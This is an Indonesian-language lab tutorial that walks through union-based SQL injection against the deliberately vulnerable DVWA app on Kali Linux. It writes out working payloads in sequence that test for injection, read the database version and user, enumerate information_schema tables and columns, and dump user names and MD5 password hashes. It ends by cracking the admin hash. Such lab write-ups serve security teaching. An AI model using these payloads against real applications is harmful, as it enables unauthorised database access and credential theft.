SQL Injection
SQL Injection merupakan teknik eksploitasi dengan cara memodifikasi perintah sql pada form input aplikasi yang memungkinkan penyerang untuk dapat mengirimkan sintaks ke database aplikasi. SQL Injection juga dapat didefinisikan sebagai teknik eksploitasi celah keamanan pada layer database untuk mendapatkan query data pada sebuah aplikasi.
Berikut ini cara melakukan SQL Injection pada DVWA di kali linux:
- Pertama kita buka dulu website DVWA, melakukan login, mengubah security level menjadi low, dan pilih SQL Injection.
2. Kemudian saya ingin mengecek apakah situs ini rentan atau tidak dengan mengetikkan 1’ or ‘0’ = ‘0 untuk menampilkan semua record yang bernilai false dan true.
3. Kemudian saya ingin mengecek versi dari database yang digunakan dengan mengetikkan ‘ union select null, version() #.
4. Kemudian saya ingin menampilkan database user dengan mengetikkan ‘ union select null, user() #.
5. Kemudian saya ingin menampilkan semua tabel yang ada pada tempat penyimpanan informasi dari database mysql server Kelola (information_schema) dengan mengetikkan ‘ union select null, table_name from information_schema.tables #.
6. Kemudian saya ingin mencari semua kolom yang terdapat pada tabel users dengan mengetikkan ‘ union select null, concat (table_name,0x0a, column_name) from information_schema.columns where table_name = ‘users’ #.
7. Kemudian saya ingin menampilkan isi dari kolom first name, last name, user, dan password dengan mengetikkan ‘ union select null, concat (first_name,0x0a, last_name, 0x0a, password) from users #.
8. Kemudian saya ingin mengetahui password si admin yang berbentuk enkripsi md5 menggunakan md5 decryption.
9. Dan disini sudah bisa dilihat bahwa password admin adalah 123.
